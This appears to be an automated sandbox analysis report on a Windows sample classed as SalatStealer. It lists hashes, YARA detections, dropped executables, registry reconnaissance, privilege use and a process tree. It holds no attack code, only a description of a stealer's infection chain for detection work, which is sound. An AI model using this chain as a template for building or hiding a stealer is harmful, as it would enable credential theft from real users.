Analysis
- max time kernel
150s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/10/2026, 00:53
Static task
static1
Behavioral task
behavioral1
Sample
34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe
Resource
win11ltsc2024-20260911-en
General
- Target 34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe
- Size 9.8MB
- Sample261027-a8vnwazyhs
- SHA256 34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711
- MD5 d08bcc46e3ab26d1345a421c33271d6e
- SHA1 70d7e2cdf98dccfcd2019a3e33bcf0be04159bae
- SHA512 e9b9d8c552e5dd2ab4c88b3a4771e0b16093fa5ac19c66aba7bbe14ea24b9dfe1c94d11c94b5c30194c65ce96e1cae475835279e5bd4ba5d905aedcf3f103a78
- SSDEEP 98304:F2SlR+luWNvYuO/1ZBiN5jOEqBZuLl3kmkRcbV9:F2Sl4ltdOtHGpRq6LxvdT
- TLSH T13DA6DF3262F563049798D6C20F72AD74E5A06FF018DA551D145CB0786A2EBF2B2F1F8E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 3 IoCs
resource yara_rule behavioral2/memory/1088-949-0x00000000002E0000-0x0000000000F2F000-memory.dmp family_salatstealer behavioral2/memory/1088-1015-0x00000000002E0000-0x0000000000F2F000-memory.dmp family_salatstealer behavioral2/memory/1456-1016-0x0000000000EF0000-0x0000000001B3F000-memory.dmp family_salatstealer - Executes dropped EXE 4 IoCs
pid Process 5956 wmrxd8h.exe 4284 Install.exe 1088 lol.exe 1456 NRExtExport.exe -
pid Process 2256 powershell.exe - Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\System32\Tasks\$AppData\NRExtExport.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
resource yara_rule behavioral2/files/0x000e00000001c50c-22.dat upx behavioral2/memory/1088-32-0x00000000002E0000-0x0000000000F2F000-memory.dmp upx behavioral2/memory/1088-949-0x00000000002E0000-0x0000000000F2F000-memory.dmp upx behavioral2/memory/1456-1001-0x0000000000EF0000-0x0000000001B3F000-memory.dmp upx behavioral2/memory/1088-1015-0x00000000002E0000-0x0000000000F2F000-memory.dmp upx behavioral2/memory/1456-1016-0x0000000000EF0000-0x0000000001B3F000-memory.dmp upx - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_gl0ycdon.knn.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_xhnsfdka.pag.psm1 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1428 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname lol.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain lol.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname NRExtExport.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain NRExtExport.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language lol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language NRExtExport.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 1428 cmd.exe - Checks processor information in registry 2 TTPs 7 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe - Modifies data under HKEY_USERS 55 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1793062431" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={E2530C13-D31D-4268-9DDE-4CB2A1D79137}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 25 Oct 2026 11:52:14 GMT" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002 explorer.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2256 powershell.exe 2256 powershell.exe 2256 powershell.exe 2256 powershell.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 6000 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2256 powershell.exe Token: SeDebugPrivilege 2256 powershell.exe Token: SeDebugPrivilege 744 winlogon.exe Token: SeShutdownPrivilege 6000 explorer.exe Token: SeCreatePagefilePrivilege 6000 explorer.exe Token: SeShutdownPrivilege 6000 explorer.exe Token: SeCreatePagefilePrivilege 6000 explorer.exe Token: SeShutdownPrivilege 6000 explorer.exe Token: SeCreatePagefilePrivilege 6000 explorer.exe Token: SeShutdownPrivilege 6000 explorer.exe Token: SeCreatePagefilePrivilege 6000 explorer.exe Token: SeAssignPrimaryTokenPrivilege 3676 svchost.exe Token: SeIncreaseQuotaPrivilege 3676 svchost.exe Token: SeSecurityPrivilege 3676 svchost.exe Token: SeTakeOwnershipPrivilege 3676 svchost.exe Token: SeLoadDriverPrivilege 3676 svchost.exe Token: SeSystemtimePrivilege 3676 svchost.exe Token: SeBackupPrivilege 3676 svchost.exe Token: SeRestorePrivilege 3676 svchost.exe Token: SeShutdownPrivilege 3676 svchost.exe Token: SeSystemEnvironmentPrivilege 3676 svchost.exe Token: SeUndockPrivilege 3676 svchost.exe Token: SeManageVolumePrivilege 3676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3676 svchost.exe Token: SeIncreaseQuotaPrivilege 3676 svchost.exe Token: SeSecurityPrivilege 3676 svchost.exe Token: SeTakeOwnershipPrivilege 3676 svchost.exe Token: SeLoadDriverPrivilege 3676 svchost.exe Token: SeSystemtimePrivilege 3676 svchost.exe Token: SeBackupPrivilege 3676 svchost.exe Token: SeRestorePrivilege 3676 svchost.exe Token: SeShutdownPrivilege 3676 svchost.exe Token: SeSystemEnvironmentPrivilege 3676 svchost.exe Token: SeUndockPrivilege 3676 svchost.exe Token: SeManageVolumePrivilege 3676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3676 svchost.exe Token: SeIncreaseQuotaPrivilege 3676 svchost.exe Token: SeSecurityPrivilege 3676 svchost.exe Token: SeTakeOwnershipPrivilege 3676 svchost.exe Token: SeLoadDriverPrivilege 3676 svchost.exe Token: SeSystemtimePrivilege 3676 svchost.exe Token: SeBackupPrivilege 3676 svchost.exe Token: SeRestorePrivilege 3676 svchost.exe Token: SeShutdownPrivilege 3676 svchost.exe Token: SeSystemEnvironmentPrivilege 3676 svchost.exe Token: SeUndockPrivilege 3676 svchost.exe Token: SeManageVolumePrivilege 3676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3676 svchost.exe Token: SeIncreaseQuotaPrivilege 3676 svchost.exe Token: SeSecurityPrivilege 3676 svchost.exe Token: SeTakeOwnershipPrivilege 3676 svchost.exe Token: SeLoadDriverPrivilege 3676 svchost.exe Token: SeSystemtimePrivilege 3676 svchost.exe Token: SeBackupPrivilege 3676 svchost.exe Token: SeRestorePrivilege 3676 svchost.exe Token: SeShutdownPrivilege 3676 svchost.exe Token: SeSystemEnvironmentPrivilege 3676 svchost.exe Token: SeUndockPrivilege 3676 svchost.exe Token: SeManageVolumePrivilege 3676 svchost.exe Token: SeAssignPrimaryTokenPrivilege 3676 svchost.exe Token: SeIncreaseQuotaPrivilege 3676 svchost.exe Token: SeSecurityPrivilege 3676 svchost.exe Token: SeTakeOwnershipPrivilege 3676 svchost.exe Token: SeLoadDriverPrivilege 3676 svchost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2996 wrote to memory of 5956 2996 34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe 89 PID 5956 wrote to memory of 4284 5956 wmrxd8h.exe 90 PID 1428 wrote to memory of 2256 1428 cmd.exe 92 PID 5956 wrote to memory of 1088 5956 wmrxd8h.exe 94 PID 2256 wrote to memory of 744 2256 powershell.exe 5 PID 744 wrote to memory of 952 744 winlogon.exe 9 PID 744 wrote to memory of 960 744 winlogon.exe 10 PID 744 wrote to memory of 1000 744 winlogon.exe 11 PID 744 wrote to memory of 556 744 winlogon.exe 13 PID 744 wrote to memory of 1100 744 winlogon.exe 14 PID 744 wrote to memory of 1172 744 winlogon.exe 15 PID 744 wrote to memory of 1188 744 winlogon.exe 16 PID 744 wrote to memory of 1224 744 winlogon.exe 17 PID 744 wrote to memory of 1296 744 winlogon.exe 18 PID 744 wrote to memory of 1396 744 winlogon.exe 21 PID 744 wrote to memory of 1532 744 winlogon.exe 23 PID 744 wrote to memory of 1556 744 winlogon.exe 24 PID 744 wrote to memory of 1580 744 winlogon.exe 25 PID 744 wrote to memory of 1692 744 winlogon.exe 26 PID 744 wrote to memory of 1828 744 winlogon.exe 27 PID 744 wrote to memory of 1968 744 winlogon.exe 28 PID 744 wrote to memory of 2028 744 winlogon.exe 29 PID 744 wrote to memory of 1508 744 winlogon.exe 30 PID 744 wrote to memory of 2132 744 winlogon.exe 31 PID 744 wrote to memory of 2136 744 winlogon.exe 32 PID 744 wrote to memory of 2204 744 winlogon.exe 33 PID 744 wrote to memory of 2328 744 winlogon.exe 34 PID 744 wrote to memory of 2464 744 winlogon.exe 35 PID 744 wrote to memory of 2504 744 winlogon.exe 36 PID 744 wrote to memory of 2628 744 winlogon.exe 37 PID 744 wrote to memory of 2692 744 winlogon.exe 38 PID 744 wrote to memory of 2736 744 winlogon.exe 39 PID 744 wrote to memory of 2744 744 winlogon.exe 40 PID 744 wrote to memory of 2788 744 winlogon.exe 41 PID 744 wrote to memory of 2796 744 winlogon.exe 42 PID 744 wrote to memory of 2924 744 winlogon.exe 43 PID 744 wrote to memory of 716 744 winlogon.exe 44 PID 744 wrote to memory of 3100 744 winlogon.exe 46 PID 744 wrote to memory of 3140 744 winlogon.exe 47 PID 744 wrote to memory of 3236 744 winlogon.exe 48 PID 744 wrote to memory of 3472 744 winlogon.exe 50 PID 744 wrote to memory of 3564 744 winlogon.exe 51 PID 744 wrote to memory of 3604 744 winlogon.exe 52 PID 744 wrote to memory of 3656 744 winlogon.exe 53 PID 744 wrote to memory of 3668 744 winlogon.exe 54 PID 744 wrote to memory of 3676 744 winlogon.exe 55 PID 744 wrote to memory of 3696 744 winlogon.exe 56 PID 744 wrote to memory of 3560 744 winlogon.exe 57 PID 744 wrote to memory of 820 744 winlogon.exe 58 PID 744 wrote to memory of 4352 744 winlogon.exe 59 PID 744 wrote to memory of 4420 744 winlogon.exe 60 PID 744 wrote to memory of 4476 744 winlogon.exe 61 PID 744 wrote to memory of 4688 744 winlogon.exe 62 PID 744 wrote to memory of 4728 744 winlogon.exe 63 PID 744 wrote to memory of 5008 744 winlogon.exe 64 PID 744 wrote to memory of 5128 744 winlogon.exe 65 PID 744 wrote to memory of 5236 744 winlogon.exe 66 PID 744 wrote to memory of 5480 744 winlogon.exe 69 PID 744 wrote to memory of 940 744 winlogon.exe 71 PID 744 wrote to memory of 5468 744 winlogon.exe 73 PID 744 wrote to memory of 1708 744 winlogon.exe 74 PID 744 wrote to memory of 548 744 winlogon.exe 77 PID 744 wrote to memory of 5412 744 winlogon.exe 78 PID 744 wrote to memory of 2820 744 winlogon.exe 79
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:960
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1188
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:952
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6451c75e-920b-4fcd-a471-91c874ec8fe2 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-58e47926-679d-4122-96ea-488685cd5981 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9af0a035-936c-4e3d-b9c9-ceeeaf08dc9e -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-16bba661-fe25-43f1-b097-1285e939608f -LifetimeId:a9b64fa1-c9a9-4d11-a77e-b33fc82ad017 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:1000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:1100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1556
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:2028
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2820
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:6000 -
C:\Users\Admin\AppData\Local\Temp\34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe"C:\Users\Admin\AppData\Local\Temp\34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:2996 -
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ejsyh0p3\wmrxd8h.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ejsyh0p3\wmrxd8h.exe"5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5956 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4284
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C:\Users\Admin\AppData\Local\Temp\lol.exe"C:\Users\Admin\AppData\Local\Temp\lol.exe"6⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:1088 -
C:\Users\Admin\AppData\Roaming\NRExtExport.exeC:\Users\Admin\AppData\Roaming\NRExtExport.exe7⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:1456 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe8⤵
- System Location Discovery: System Language Discovery
PID:4376 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:5300
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:2132
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:2136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2328
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2504
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2628
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2692
